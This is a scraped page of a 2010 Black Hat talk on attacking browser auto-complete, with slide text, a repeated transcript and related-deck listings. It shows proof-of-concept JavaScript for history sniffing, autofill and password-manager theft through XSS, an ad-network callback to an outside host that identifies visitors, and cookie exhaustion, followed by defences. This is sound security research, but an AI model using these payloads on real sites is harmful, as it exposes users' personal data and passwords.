Breaking Browsers: Hacking Auto-Complete (BlackHat USA 2010)

Jeremiah Grossman
Jeremiah GrossmanFounder & CEO at Undisclosed
Breaking Browsers:
Hacking Auto-Complete
Jeremiah Grossman
Founder & Chief Technology Officer

Blog: http://jeremiahgrossman.blogspot.com/
Twitter: http://twitter.com/jeremiahg
Email: jeremiah@whitehatsec.com               special thanks to:
                                              Robert “RSnake” Hansen (SecTheory)
                                              Daniel Veditz (Mozilla)
                                              Microsoft Security Response Center
                                              Mike Bailey (MAD Security)
                                              Chris Evans (Google)
• WhiteHat Security Founder & Chief Technology Officer
• 2010 RSA Security Bloggers Award (Best Corporate Blog)
• InfoWorld's CTO Top 25 (2007)
• 5th most popular “Jeremiah” according to Google
• Brazilian Jiu-Jitsu Brown Belt
• Narcissistic Vulnerability Pimp
• Former Yahoo! information security officer




                                          me.            © 2010 WhiteHat Security, Inc. | Page   2
Web Security

Website Security     Browser Security




2,000+ websites




                           © 2010 WhiteHat Security, Inc. | Page   3
Global Internet: 1.67 Billion People


         Internet




                                                         206 million
                                                         websites
                          1.67 billion people
                          http://en.wikipedia.org/wiki/Global_Internet_usage

                                              © 2010 WhiteHat Security, Inc. | Page   4
What the “bad guys” target...

Largest Market-share

Exploiting Features Enabled by Default

Bonus for Design Flaws


                                © 2010 WhiteHat Security, Inc. | Page   5
Browser Version Market Share




                   July, 2010
                   http://www.netmarketshare.com/browser-market-share.aspx?qprid=2

                                                   © 2010 WhiteHat Security, Inc. | Page   6
By the numbers, of people

      IE 8     IE 6 FF 3.5/3.6 IE 7           Chrome Safari 4/5




      491      284        351       197        103                       83
     Million   Million    Million   Million    Million                Million




                         307 Mil                      36 Mil



                                               © 2010 WhiteHat Security, Inc. | Page   7
Security Features
Sandboxes, code security, memory protection, black-lists,
green URL bars, anti-phishing, SSL warnings, etc.




                                                © 2010 WhiteHat Security, Inc. | Page   8
I know where you’ve been... (on the way out)
a:visited#link {
                                                                            Classic CSS
   background: url('/capture.cgi?http://bank/');
}                                                                           History Hack
                                                                              Visited
In the “visited” pseudo-class, everything except
color style properties are ignored.
                                                                              Unvisited

var color = document.defaultView.getComputedStyle
(link,null).getPropertyValue("color");

getComputedStyle lies and returns the “unvisited” link values.
                                                                            FF 3.7
                                                                                             Safari v5
                                                                           Nightlies




                      http://blog.mozilla.com/security/2010/03/31/plugging-the-css-history-leak/
                      http://jeremiahgrossman.blogspot.com/2006/08/i-know-where-youve-been.html

                                                                   © 2010 WhiteHat Security, Inc. | Page   9
We often still know where you are
logged-in, but that’s another discussion.



                      CSRF Login-Detection
                              © 2010 WhiteHat Security, Inc. | Page 10
I want to know your name, who
you work for, where you live, your
email address, etc.
Right at the moment you a visit a website. Even if you’ve never
been there before, let alone entered information.




                                                 © 2010 WhiteHat Security, Inc. | Page 11
© 2010 WhiteHat Security, Inc. | Page 12
Safari Address Book Autofill (enabled by default)




           <form>
           <input type="text"   name="name">
           <input type="text"   name="company">
           <input type="text"   name="city">
           <input type="text"   name="state">
           <input type="text"   name="country">
           <input type="text"   name="email">
           </form>

                                            © 2010 WhiteHat Security, Inc. | Page 13
Address Card Autofill works even when
you’ve NEVER entered personal data on
ANY WEBSITE.




                             © 2010 WhiteHat Security, Inc. | Page 14
DEMO
var event = document.createEvent('TextEvent');
event.initTextEvent('textInput', 1, 1, null, char);

input.value = "";               Step 1) Dynamically create
input.selectionStart = 0;       input fields with the pre-set
input.selectionEnd = 0;         attribute names.
input.focus();
input.dispatchEvent(event);!    Step 2) Cycle through the
!                               alphabet initiating text events
setTimeout(function() {         until a form value populates.
  if (input.value.length > 1) {
   // capture the value;        Step 3) Profit! -- Steal data
  }                             with JavaScript.
}, 500);                        *transparency is even more fun!*

                                                  Safari
                                                  v4 / v5
                                              © 2010 WhiteHat Security, Inc. | Page 15
What about stealing other auto-fill data,
data that was previously entered?




                              © 2010 WhiteHat Security, Inc. | Page 16
Internet Explorer 8 = SAFE
                     © 2010 WhiteHat Security, Inc. | Page 17
AutoComplete: User-supplied form values are shared across
different websites by attribute “name”. For example, email
addresses entered into a field on website A populates the autofill for
the same field name on website B, C, D, etc.
                                 <input type="text" name="email">




                                                   © 2010 WhiteHat Security, Inc. | Page 18
DEMO - Down, Down, Enter
// hit down arrow an incrementing number of times.
// separate with time to allow the GUI to keep pace
for (var i = 1; i <= downs; i++) {
   time += 30; // time padding
   keyStroke(this, 40, time); // down button
}
!       !
time += 15; // time padding
keyStroke(this, 13, time); // enter button

// initiate keystroke on a given object
function keyStroke(obj, code, t) {
  //create new event and fire
  var e = document.createEventObject();
  e.keyCode = code;
  setTimeout(function() {obj.fireEvent("onkeydown", e); }, t);
} // end keyStroke

                        Security Basis, and an Internet Explorer data stealer
                        http://webreflection.blogspot.com/2008/09/security-basis-and-internet-explorer.html
                        Andrea Giammarchi, Ajaxian Staff

                                                                         © 2010 WhiteHat Security, Inc. | Page 19
Search terms
Credit card numbers and CCVs
Aliases
Contact information
Answers to secret questions
Usernames
Email addresses
...



                               © 2010 WhiteHat Security, Inc. | Page 20
AutoComplete is NOT enabled by default, but Internet
Explorer asks if the user if they would like to enable
the feature after filling out a non-password form.




                                                 © 2010 WhiteHat Security, Inc. | Page 21
Sometimes we can’t read auto-complete, but
we can write to it (a lot)!
 <script>
 function fillAutoComp() {
  var num = Math.floor(Math.random()*1000000);
  document.getElementById('email').value = “Spoof-” + num;
  setTimeout("document.getElementById('me').submit(); fillAutoComp();",2);
 }
 </script>

 <form id=”me” method="post" action="/" target="my_iframe">
 <input type="text" name="email" id="email" value="" size=140>
 <input type="button" onclick="fillAutoComp()" value="Start">
 </form>
 <iframe name="my_iframe"></iframe>




                
                     https://bugzilla.mozilla.org/show_bug.cgi?id=578879
                                                                                                * *
                                                                           © 2010 WhiteHat Security, Inc. | Page 22
Have the email address, but need the password




                                 © 2010 WhiteHat Security, Inc. | Page 23
Remember Password
Many Web Browsers have “password managers,” which provide
a convenient way to save passwords on a “per website” basis.
<form method="post" action="/">
E-Mail: <input type="text" name="email"><br />
Password: <input type="password" name="pass"><br />
<input type="submit" value="Login">
</form>




                                            © 2010 WhiteHat Security, Inc. | Page 24
If a website with a saved password is vulnerable to XSS, the
payload can dynamically create login forms, which executes the
browser’s password auto-complete feature. Since the payload is
on the same domain the username / password can be stolen.
function stealCreds() {
 var string = "E-Mail: " + document.getElementById("u").value;
 string += "nPassword: " + document.getElementById("p").value;
 return string;
}
document.write('<form method="post" action="/">E-Mail: <input
id="u" type="text" name="email" value=""><br>Password: <input
id="p" type="password" name="password" value=""></form>');

setTimeout('alert(stealCreds())', 2000);


               * *                 DEMO
                                              © 2010 WhiteHat Security, Inc. | Page 25
Hidden Firefox Protection



       about:config

       signon.autofillForms



                            © 2010 WhiteHat Security, Inc. | Page 26
Long-term problem, even when “fixed”
Mass distribute auto-complete code (ad network), cookie affected
users with a unique ID, and setup a callback Web service.



DOMAIN: website                     DOMAIN: whoisthisperson
<script>                            var person = {
function identify (person) {         name: ‘name’,
...                                  email: ‘name’,
}                                    }
</script>                           identify(person);
<script src=”http://
iknowyourname.com/?cb=identify”>




                                             © 2010 WhiteHat Security, Inc. | Page 27
Need help deleting your cookies?
the users way...




                                                                    28
                            © 2010 WhiteHat Security, Inc. | Page
The Hackers Way - (Cookie Exhaustion)
Firefox: Global 3,000 cookie max cap. 50 cookies can be set per
hostname. Therefore, we need 1 domain with 60 subdomains.
<script>
for (var i = 1; i <= 60; i++) {
 img = new Image();
 img = "http://the" + i + ".cookiemonster.com/cgi-bin/cookie.pl";
}
</script>

P3P: CP="IDC DSP COR ADM DEVi TAIi PSA PSD IVAi IVDi CONi HIS OUR IND CNT";
Set-Cookie: cNAME_1=_cValue_1;
Set-Cookie: cNAME_2=_cValue_2;
Set-Cookie: cNAME_3=_cValue_3;
...




                               https://bugzilla.mozilla.org/show_bug.cgi?id=321624
                               http://kuza55.blogspot.com/2008/02/understanding-cookie-security.html
                               http://www.nczonline.net/blog/2008/05/17/browser-cookie-restrictions/

                                                                    © 2010 WhiteHat Security, Inc. | Page 29
$300 dollar hack




                   © 2010 WhiteHat Security, Inc. | Page 30
What to do...

Disable Auto-Complete in the Web browser

Remove persistent data
(History, Form Data, Cookies, LocalStorage, etc.)

NoScript (Firefox Extension), 1Password, etc.

<form autocomplete="off">
<input type="text" autocomplete="off" />




                                            © 2010 WhiteHat Security, Inc. | Page 31
Questions?



       Jeremiah Grossman
       Founder & Chief Technology Officer

       Blog: http://jeremiahgrossman.blogspot.com/
       Twitter: http://twitter.com/jeremiahg
       Email: jeremiah@whitehatsec.com

                                 © 2010 WhiteHat Security, Inc. | Page 32
1 of 32

Recommended

All these vulnerabilities, rarely matter by
All these vulnerabilities, rarely matterAll these vulnerabilities, rarely matter
All these vulnerabilities, rarely matterJeremiah Grossman
306 views30 slides
How to Determine Your Attack Surface in the Healthcare Sector by
How to Determine Your Attack Surface in the Healthcare SectorHow to Determine Your Attack Surface in the Healthcare Sector
How to Determine Your Attack Surface in the Healthcare SectorJeremiah Grossman
276 views25 slides
The Attack Surface of the Healthcare Industry by
The Attack Surface of the Healthcare IndustryThe Attack Surface of the Healthcare Industry
The Attack Surface of the Healthcare IndustryJeremiah Grossman
563 views28 slides
Exploring the Psychological Mechanisms used in Ransomware Splash Screens by
Exploring the Psychological Mechanisms used in Ransomware Splash ScreensExploring the Psychological Mechanisms used in Ransomware Splash Screens
Exploring the Psychological Mechanisms used in Ransomware Splash ScreensJeremiah Grossman
661 views20 slides
What the Kidnapping & Ransom Economy Teaches Us About Ransomware by
What the Kidnapping & Ransom Economy Teaches Us About RansomwareWhat the Kidnapping & Ransom Economy Teaches Us About Ransomware
What the Kidnapping & Ransom Economy Teaches Us About RansomwareJeremiah Grossman
2.5K views52 slides
What the Kidnapping & Ransom Economy Teaches Us About Ransomware by
What the Kidnapping & Ransom Economy Teaches Us About RansomwareWhat the Kidnapping & Ransom Economy Teaches Us About Ransomware
What the Kidnapping & Ransom Economy Teaches Us About RansomwareJeremiah Grossman
3.8K views49 slides

More Related Content

More from Jeremiah Grossman

Ransomware is Here: Fundamentals Everyone Needs to Know by
Ransomware is Here: Fundamentals Everyone Needs to KnowRansomware is Here: Fundamentals Everyone Needs to Know
Ransomware is Here: Fundamentals Everyone Needs to KnowJeremiah Grossman
4K views28 slides
Web Application Security Statistics Report 2016 by
Web Application Security Statistics Report 2016Web Application Security Statistics Report 2016
Web Application Security Statistics Report 2016Jeremiah Grossman
1.5K views23 slides
15 Years of Web Security: The Rebellious Teenage Years by
15 Years of Web Security: The Rebellious Teenage Years15 Years of Web Security: The Rebellious Teenage Years
15 Years of Web Security: The Rebellious Teenage YearsJeremiah Grossman
6.2K views30 slides
15 Years of Web Security: The Rebellious Teenage Years by
15 Years of Web Security: The Rebellious Teenage Years15 Years of Web Security: The Rebellious Teenage Years
15 Years of Web Security: The Rebellious Teenage YearsJeremiah Grossman
2.6K views29 slides
Where Flow Charts Don’t Go -- Website Security Statistics Report (2015) by
Where Flow Charts Don’t Go -- Website Security Statistics Report (2015)Where Flow Charts Don’t Go -- Website Security Statistics Report (2015)
Where Flow Charts Don’t Go -- Website Security Statistics Report (2015)Jeremiah Grossman
2.1K views34 slides
WhiteHat’s Website Security Statistics Report 2015 by
WhiteHat’s Website Security Statistics Report 2015WhiteHat’s Website Security Statistics Report 2015
WhiteHat’s Website Security Statistics Report 2015Jeremiah Grossman
5.1K views30 slides

More from Jeremiah Grossman(20)

Ransomware is Here: Fundamentals Everyone Needs to Know by Jeremiah Grossman
Ransomware is Here: Fundamentals Everyone Needs to KnowRansomware is Here: Fundamentals Everyone Needs to Know
Ransomware is Here: Fundamentals Everyone Needs to Know
Web Application Security Statistics Report 2016 by Jeremiah Grossman
Web Application Security Statistics Report 2016Web Application Security Statistics Report 2016
Web Application Security Statistics Report 2016
Jeremiah Grossman1.5K views
15 Years of Web Security: The Rebellious Teenage Years by Jeremiah Grossman
15 Years of Web Security: The Rebellious Teenage Years15 Years of Web Security: The Rebellious Teenage Years
15 Years of Web Security: The Rebellious Teenage Years
Jeremiah Grossman6.2K views
15 Years of Web Security: The Rebellious Teenage Years by Jeremiah Grossman
15 Years of Web Security: The Rebellious Teenage Years15 Years of Web Security: The Rebellious Teenage Years
15 Years of Web Security: The Rebellious Teenage Years
Jeremiah Grossman2.6K views
Where Flow Charts Don’t Go -- Website Security Statistics Report (2015) by Jeremiah Grossman
Where Flow Charts Don’t Go -- Website Security Statistics Report (2015)Where Flow Charts Don’t Go -- Website Security Statistics Report (2015)
Where Flow Charts Don’t Go -- Website Security Statistics Report (2015)
Jeremiah Grossman2.1K views
WhiteHat’s Website Security Statistics Report 2015 by Jeremiah Grossman
WhiteHat’s Website Security Statistics Report 2015WhiteHat’s Website Security Statistics Report 2015
WhiteHat’s Website Security Statistics Report 2015
Jeremiah Grossman5.1K views
No More Snake Oil: Why InfoSec Needs Security Guarantees by Jeremiah Grossman
No More Snake Oil: Why InfoSec Needs Security GuaranteesNo More Snake Oil: Why InfoSec Needs Security Guarantees
No More Snake Oil: Why InfoSec Needs Security Guarantees
Jeremiah Grossman4.6K views
WhiteHat Security 2014 Statistics Report Explained by Jeremiah Grossman
WhiteHat Security 2014 Statistics Report ExplainedWhiteHat Security 2014 Statistics Report Explained
WhiteHat Security 2014 Statistics Report Explained
Jeremiah Grossman1.4K views
WhiteHat 2014 Website Security Statistics Report by Jeremiah Grossman
WhiteHat 2014 Website Security Statistics ReportWhiteHat 2014 Website Security Statistics Report
WhiteHat 2014 Website Security Statistics Report
Jeremiah Grossman3.1K views
WhiteHat Security Website Statistics [Full Report] (2013) by Jeremiah Grossman
WhiteHat Security Website Statistics [Full Report] (2013)WhiteHat Security Website Statistics [Full Report] (2013)
WhiteHat Security Website Statistics [Full Report] (2013)
Top Ten Web Hacking Techniques of 2012 by Jeremiah Grossman
Top Ten Web Hacking Techniques of 2012Top Ten Web Hacking Techniques of 2012
Top Ten Web Hacking Techniques of 2012
Jeremiah Grossman3.9K views
WhiteHat’s 12th Website Security Statistics [Full Report] by Jeremiah Grossman
WhiteHat’s 12th Website Security Statistics [Full Report]WhiteHat’s 12th Website Security Statistics [Full Report]
WhiteHat’s 12th Website Security Statistics [Full Report]
Jeremiah Grossman3.1K views
Web Breaches in 2011-“This is Becoming Hourly News and Totally Ridiculous" by Jeremiah Grossman
Web Breaches in 2011-“This is Becoming Hourly News and Totally Ridiculous"Web Breaches in 2011-“This is Becoming Hourly News and Totally Ridiculous"
Web Breaches in 2011-“This is Becoming Hourly News and Totally Ridiculous"
Jeremiah Grossman936 views
Top Ten Web Hacking Techniques (2010) by Jeremiah Grossman
Top Ten Web Hacking Techniques (2010)Top Ten Web Hacking Techniques (2010)
Top Ten Web Hacking Techniques (2010)
Jeremiah Grossman5.7K views
11th Website Security Statistics -- Presentation Slides (Q1 2011) by Jeremiah Grossman
11th Website Security Statistics -- Presentation Slides (Q1 2011)11th Website Security Statistics -- Presentation Slides (Q1 2011)
11th Website Security Statistics -- Presentation Slides (Q1 2011)
Jeremiah Grossman3.2K views
Rich Web App Security - Keeping your application safe by Jeremiah Grossman
Rich Web App Security - Keeping your application safeRich Web App Security - Keeping your application safe
Rich Web App Security - Keeping your application safe
Jeremiah Grossman8.1K views
Web Application Security - "In theory and practice" by Jeremiah Grossman
Web Application Security - "In theory and practice"Web Application Security - "In theory and practice"
Web Application Security - "In theory and practice"
Identifying Web Servers: A First-look Into the Future of Web Server Fingerpri... by Jeremiah Grossman
Identifying Web Servers: A First-look Into the Future of Web Server Fingerpri...Identifying Web Servers: A First-look Into the Future of Web Server Fingerpri...
Identifying Web Servers: A First-look Into the Future of Web Server Fingerpri...
Jeremiah Grossman2.5K views
Web Application Security and Release of "WhiteHat Arsenal" by Jeremiah Grossman
Web Application Security and Release of "WhiteHat Arsenal"Web Application Security and Release of "WhiteHat Arsenal"
Web Application Security and Release of "WhiteHat Arsenal"
Jeremiah Grossman668 views

Recently uploaded

"Surviving highload with Node.js", Andrii Shumada by
"Surviving highload with Node.js", Andrii Shumada "Surviving highload with Node.js", Andrii Shumada
"Surviving highload with Node.js", Andrii Shumada Fwdays
53 views29 slides
Hypervisor Agnostic DRS in CloudStack - Brief overview & demo - Vishesh Jinda... by
Hypervisor Agnostic DRS in CloudStack - Brief overview & demo - Vishesh Jinda...Hypervisor Agnostic DRS in CloudStack - Brief overview & demo - Vishesh Jinda...
Hypervisor Agnostic DRS in CloudStack - Brief overview & demo - Vishesh Jinda...ShapeBlue
120 views13 slides
Zero to Cloud Hero: Crafting a Private Cloud from Scratch with XCP-ng, Xen Or... by
Zero to Cloud Hero: Crafting a Private Cloud from Scratch with XCP-ng, Xen Or...Zero to Cloud Hero: Crafting a Private Cloud from Scratch with XCP-ng, Xen Or...
Zero to Cloud Hero: Crafting a Private Cloud from Scratch with XCP-ng, Xen Or...ShapeBlue
158 views20 slides
Business Analyst Series 2023 - Week 4 Session 8 by
Business Analyst Series 2023 -  Week 4 Session 8Business Analyst Series 2023 -  Week 4 Session 8
Business Analyst Series 2023 - Week 4 Session 8DianaGray10
86 views13 slides
Initiating and Advancing Your Strategic GIS Governance Strategy by
Initiating and Advancing Your Strategic GIS Governance StrategyInitiating and Advancing Your Strategic GIS Governance Strategy
Initiating and Advancing Your Strategic GIS Governance StrategySafe Software
140 views68 slides
VNF Integration and Support in CloudStack - Wei Zhou - ShapeBlue by
VNF Integration and Support in CloudStack - Wei Zhou - ShapeBlueVNF Integration and Support in CloudStack - Wei Zhou - ShapeBlue
VNF Integration and Support in CloudStack - Wei Zhou - ShapeBlueShapeBlue
163 views54 slides

Recently uploaded(20)

"Surviving highload with Node.js", Andrii Shumada by Fwdays
"Surviving highload with Node.js", Andrii Shumada "Surviving highload with Node.js", Andrii Shumada
"Surviving highload with Node.js", Andrii Shumada
Fwdays53 views
Hypervisor Agnostic DRS in CloudStack - Brief overview & demo - Vishesh Jinda... by ShapeBlue
Hypervisor Agnostic DRS in CloudStack - Brief overview & demo - Vishesh Jinda...Hypervisor Agnostic DRS in CloudStack - Brief overview & demo - Vishesh Jinda...
Hypervisor Agnostic DRS in CloudStack - Brief overview & demo - Vishesh Jinda...
ShapeBlue120 views
Zero to Cloud Hero: Crafting a Private Cloud from Scratch with XCP-ng, Xen Or... by ShapeBlue
Zero to Cloud Hero: Crafting a Private Cloud from Scratch with XCP-ng, Xen Or...Zero to Cloud Hero: Crafting a Private Cloud from Scratch with XCP-ng, Xen Or...
Zero to Cloud Hero: Crafting a Private Cloud from Scratch with XCP-ng, Xen Or...
ShapeBlue158 views
Business Analyst Series 2023 - Week 4 Session 8 by DianaGray10
Business Analyst Series 2023 -  Week 4 Session 8Business Analyst Series 2023 -  Week 4 Session 8
Business Analyst Series 2023 - Week 4 Session 8
DianaGray1086 views
Initiating and Advancing Your Strategic GIS Governance Strategy by Safe Software
Initiating and Advancing Your Strategic GIS Governance StrategyInitiating and Advancing Your Strategic GIS Governance Strategy
Initiating and Advancing Your Strategic GIS Governance Strategy
Safe Software140 views
VNF Integration and Support in CloudStack - Wei Zhou - ShapeBlue by ShapeBlue
VNF Integration and Support in CloudStack - Wei Zhou - ShapeBlueVNF Integration and Support in CloudStack - Wei Zhou - ShapeBlue
VNF Integration and Support in CloudStack - Wei Zhou - ShapeBlue
ShapeBlue163 views
State of the Union - Rohit Yadav - Apache CloudStack by ShapeBlue
State of the Union - Rohit Yadav - Apache CloudStackState of the Union - Rohit Yadav - Apache CloudStack
State of the Union - Rohit Yadav - Apache CloudStack
ShapeBlue253 views
CloudStack and GitOps at Enterprise Scale - Alex Dometrius, Rene Glover - AT&T by ShapeBlue
CloudStack and GitOps at Enterprise Scale - Alex Dometrius, Rene Glover - AT&TCloudStack and GitOps at Enterprise Scale - Alex Dometrius, Rene Glover - AT&T
CloudStack and GitOps at Enterprise Scale - Alex Dometrius, Rene Glover - AT&T
ShapeBlue112 views
GDG Cloud Southlake 28 Brad Taylor and Shawn Augenstein Old Problems in the N... by James Anderson
GDG Cloud Southlake 28 Brad Taylor and Shawn Augenstein Old Problems in the N...GDG Cloud Southlake 28 Brad Taylor and Shawn Augenstein Old Problems in the N...
GDG Cloud Southlake 28 Brad Taylor and Shawn Augenstein Old Problems in the N...
James Anderson156 views
Business Analyst Series 2023 - Week 4 Session 7 by DianaGray10
Business Analyst Series 2023 -  Week 4 Session 7Business Analyst Series 2023 -  Week 4 Session 7
Business Analyst Series 2023 - Week 4 Session 7
DianaGray10126 views
CloudStack Managed User Data and Demo - Harikrishna Patnala - ShapeBlue by ShapeBlue
CloudStack Managed User Data and Demo - Harikrishna Patnala - ShapeBlueCloudStack Managed User Data and Demo - Harikrishna Patnala - ShapeBlue
CloudStack Managed User Data and Demo - Harikrishna Patnala - ShapeBlue
ShapeBlue94 views
Backup and Disaster Recovery with CloudStack and StorPool - Workshop - Venko ... by ShapeBlue
Backup and Disaster Recovery with CloudStack and StorPool - Workshop - Venko ...Backup and Disaster Recovery with CloudStack and StorPool - Workshop - Venko ...
Backup and Disaster Recovery with CloudStack and StorPool - Workshop - Venko ...
ShapeBlue144 views
How to Re-use Old Hardware with CloudStack. Saving Money and the Environment ... by ShapeBlue
How to Re-use Old Hardware with CloudStack. Saving Money and the Environment ...How to Re-use Old Hardware with CloudStack. Saving Money and the Environment ...
How to Re-use Old Hardware with CloudStack. Saving Money and the Environment ...
ShapeBlue123 views
Mitigating Common CloudStack Instance Deployment Failures - Jithin Raju - Sha... by ShapeBlue
Mitigating Common CloudStack Instance Deployment Failures - Jithin Raju - Sha...Mitigating Common CloudStack Instance Deployment Failures - Jithin Raju - Sha...
Mitigating Common CloudStack Instance Deployment Failures - Jithin Raju - Sha...
ShapeBlue138 views
Enabling DPU Hardware Accelerators in XCP-ng Cloud Platform Environment - And... by ShapeBlue
Enabling DPU Hardware Accelerators in XCP-ng Cloud Platform Environment - And...Enabling DPU Hardware Accelerators in XCP-ng Cloud Platform Environment - And...
Enabling DPU Hardware Accelerators in XCP-ng Cloud Platform Environment - And...
ShapeBlue63 views
Webinar : Desperately Seeking Transformation - Part 2: Insights from leading... by The Digital Insurer
Webinar : Desperately Seeking Transformation - Part 2:  Insights from leading...Webinar : Desperately Seeking Transformation - Part 2:  Insights from leading...
Webinar : Desperately Seeking Transformation - Part 2: Insights from leading...
Updates on the LINSTOR Driver for CloudStack - Rene Peinthor - LINBIT by ShapeBlue
Updates on the LINSTOR Driver for CloudStack - Rene Peinthor - LINBITUpdates on the LINSTOR Driver for CloudStack - Rene Peinthor - LINBIT
Updates on the LINSTOR Driver for CloudStack - Rene Peinthor - LINBIT
ShapeBlue166 views
What’s New in CloudStack 4.19 - Abhishek Kumar - ShapeBlue by ShapeBlue
What’s New in CloudStack 4.19 - Abhishek Kumar - ShapeBlueWhat’s New in CloudStack 4.19 - Abhishek Kumar - ShapeBlue
What’s New in CloudStack 4.19 - Abhishek Kumar - ShapeBlue
ShapeBlue222 views
Import Export Virtual Machine for KVM Hypervisor - Ayush Pandey - University ... by ShapeBlue
Import Export Virtual Machine for KVM Hypervisor - Ayush Pandey - University ...Import Export Virtual Machine for KVM Hypervisor - Ayush Pandey - University ...
Import Export Virtual Machine for KVM Hypervisor - Ayush Pandey - University ...
ShapeBlue79 views
Setting Up Your First CloudStack Environment with Beginners Challenges - MD R... by ShapeBlue
Setting Up Your First CloudStack Environment with Beginners Challenges - MD R...Setting Up Your First CloudStack Environment with Beginners Challenges - MD R...
Setting Up Your First CloudStack Environment with Beginners Challenges - MD R...
ShapeBlue132 views

Breaking Browsers: Hacking Auto-Complete (BlackHat USA 2010)

  • 1. Breaking Browsers: Hacking Auto-Complete Jeremiah Grossman Founder & Chief Technology Officer Blog: http://jeremiahgrossman.blogspot.com/ Twitter: http://twitter.com/jeremiahg Email: jeremiah@whitehatsec.com special thanks to: Robert “RSnake” Hansen (SecTheory) Daniel Veditz (Mozilla) Microsoft Security Response Center Mike Bailey (MAD Security) Chris Evans (Google)
  • 2. • WhiteHat Security Founder & Chief Technology Officer • 2010 RSA Security Bloggers Award (Best Corporate Blog) • InfoWorld's CTO Top 25 (2007) • 5th most popular “Jeremiah” according to Google • Brazilian Jiu-Jitsu Brown Belt • Narcissistic Vulnerability Pimp • Former Yahoo! information security officer me. © 2010 WhiteHat Security, Inc. | Page 2
  • 3. Web Security Website Security Browser Security 2,000+ websites © 2010 WhiteHat Security, Inc. | Page 3
  • 4. Global Internet: 1.67 Billion People Internet 206 million websites 1.67 billion people http://en.wikipedia.org/wiki/Global_Internet_usage © 2010 WhiteHat Security, Inc. | Page 4
  • 5. What the “bad guys” target... Largest Market-share Exploiting Features Enabled by Default Bonus for Design Flaws © 2010 WhiteHat Security, Inc. | Page 5
  • 6. Browser Version Market Share July, 2010 http://www.netmarketshare.com/browser-market-share.aspx?qprid=2 © 2010 WhiteHat Security, Inc. | Page 6
  • 7. By the numbers, of people IE 8 IE 6 FF 3.5/3.6 IE 7 Chrome Safari 4/5 491 284 351 197 103 83 Million Million Million Million Million Million 307 Mil 36 Mil © 2010 WhiteHat Security, Inc. | Page 7
  • 8. Security Features Sandboxes, code security, memory protection, black-lists, green URL bars, anti-phishing, SSL warnings, etc. © 2010 WhiteHat Security, Inc. | Page 8
  • 9. I know where you’ve been... (on the way out) a:visited#link { Classic CSS background: url('/capture.cgi?http://bank/'); } History Hack Visited In the “visited” pseudo-class, everything except color style properties are ignored. Unvisited var color = document.defaultView.getComputedStyle (link,null).getPropertyValue("color"); getComputedStyle lies and returns the “unvisited” link values. FF 3.7 Safari v5 Nightlies http://blog.mozilla.com/security/2010/03/31/plugging-the-css-history-leak/ http://jeremiahgrossman.blogspot.com/2006/08/i-know-where-youve-been.html © 2010 WhiteHat Security, Inc. | Page 9
  • 10. We often still know where you are logged-in, but that’s another discussion. CSRF Login-Detection © 2010 WhiteHat Security, Inc. | Page 10
  • 11. I want to know your name, who you work for, where you live, your email address, etc. Right at the moment you a visit a website. Even if you’ve never been there before, let alone entered information. © 2010 WhiteHat Security, Inc. | Page 11
  • 12. © 2010 WhiteHat Security, Inc. | Page 12
  • 13. Safari Address Book Autofill (enabled by default) <form> <input type="text" name="name"> <input type="text" name="company"> <input type="text" name="city"> <input type="text" name="state"> <input type="text" name="country"> <input type="text" name="email"> </form> © 2010 WhiteHat Security, Inc. | Page 13
  • 14. Address Card Autofill works even when you’ve NEVER entered personal data on ANY WEBSITE. © 2010 WhiteHat Security, Inc. | Page 14
  • 15. DEMO var event = document.createEvent('TextEvent'); event.initTextEvent('textInput', 1, 1, null, char); input.value = ""; Step 1) Dynamically create input.selectionStart = 0; input fields with the pre-set input.selectionEnd = 0; attribute names. input.focus(); input.dispatchEvent(event);! Step 2) Cycle through the ! alphabet initiating text events setTimeout(function() { until a form value populates. if (input.value.length > 1) { // capture the value; Step 3) Profit! -- Steal data } with JavaScript. }, 500); *transparency is even more fun!* Safari v4 / v5 © 2010 WhiteHat Security, Inc. | Page 15
  • 16. What about stealing other auto-fill data, data that was previously entered? © 2010 WhiteHat Security, Inc. | Page 16
  • 17. Internet Explorer 8 = SAFE © 2010 WhiteHat Security, Inc. | Page 17
  • 18. AutoComplete: User-supplied form values are shared across different websites by attribute “name”. For example, email addresses entered into a field on website A populates the autofill for the same field name on website B, C, D, etc. <input type="text" name="email"> © 2010 WhiteHat Security, Inc. | Page 18
  • 19. DEMO - Down, Down, Enter // hit down arrow an incrementing number of times. // separate with time to allow the GUI to keep pace for (var i = 1; i <= downs; i++) { time += 30; // time padding keyStroke(this, 40, time); // down button } ! ! time += 15; // time padding keyStroke(this, 13, time); // enter button // initiate keystroke on a given object function keyStroke(obj, code, t) { //create new event and fire var e = document.createEventObject(); e.keyCode = code; setTimeout(function() {obj.fireEvent("onkeydown", e); }, t); } // end keyStroke Security Basis, and an Internet Explorer data stealer http://webreflection.blogspot.com/2008/09/security-basis-and-internet-explorer.html Andrea Giammarchi, Ajaxian Staff © 2010 WhiteHat Security, Inc. | Page 19
  • 20. Search terms Credit card numbers and CCVs Aliases Contact information Answers to secret questions Usernames Email addresses ... © 2010 WhiteHat Security, Inc. | Page 20
  • 21. AutoComplete is NOT enabled by default, but Internet Explorer asks if the user if they would like to enable the feature after filling out a non-password form. © 2010 WhiteHat Security, Inc. | Page 21
  • 22. Sometimes we can’t read auto-complete, but we can write to it (a lot)! <script> function fillAutoComp() { var num = Math.floor(Math.random()*1000000); document.getElementById('email').value = “Spoof-” + num; setTimeout("document.getElementById('me').submit(); fillAutoComp();",2); } </script> <form id=”me” method="post" action="/" target="my_iframe"> <input type="text" name="email" id="email" value="" size=140> <input type="button" onclick="fillAutoComp()" value="Start"> </form> <iframe name="my_iframe"></iframe> https://bugzilla.mozilla.org/show_bug.cgi?id=578879 * * © 2010 WhiteHat Security, Inc. | Page 22
  • 23. Have the email address, but need the password © 2010 WhiteHat Security, Inc. | Page 23
  • 24. Remember Password Many Web Browsers have “password managers,” which provide a convenient way to save passwords on a “per website” basis. <form method="post" action="/"> E-Mail: <input type="text" name="email"><br /> Password: <input type="password" name="pass"><br /> <input type="submit" value="Login"> </form> © 2010 WhiteHat Security, Inc. | Page 24
  • 25. If a website with a saved password is vulnerable to XSS, the payload can dynamically create login forms, which executes the browser’s password auto-complete feature. Since the payload is on the same domain the username / password can be stolen. function stealCreds() { var string = "E-Mail: " + document.getElementById("u").value; string += "nPassword: " + document.getElementById("p").value; return string; } document.write('<form method="post" action="/">E-Mail: <input id="u" type="text" name="email" value=""><br>Password: <input id="p" type="password" name="password" value=""></form>'); setTimeout('alert(stealCreds())', 2000); * * DEMO © 2010 WhiteHat Security, Inc. | Page 25
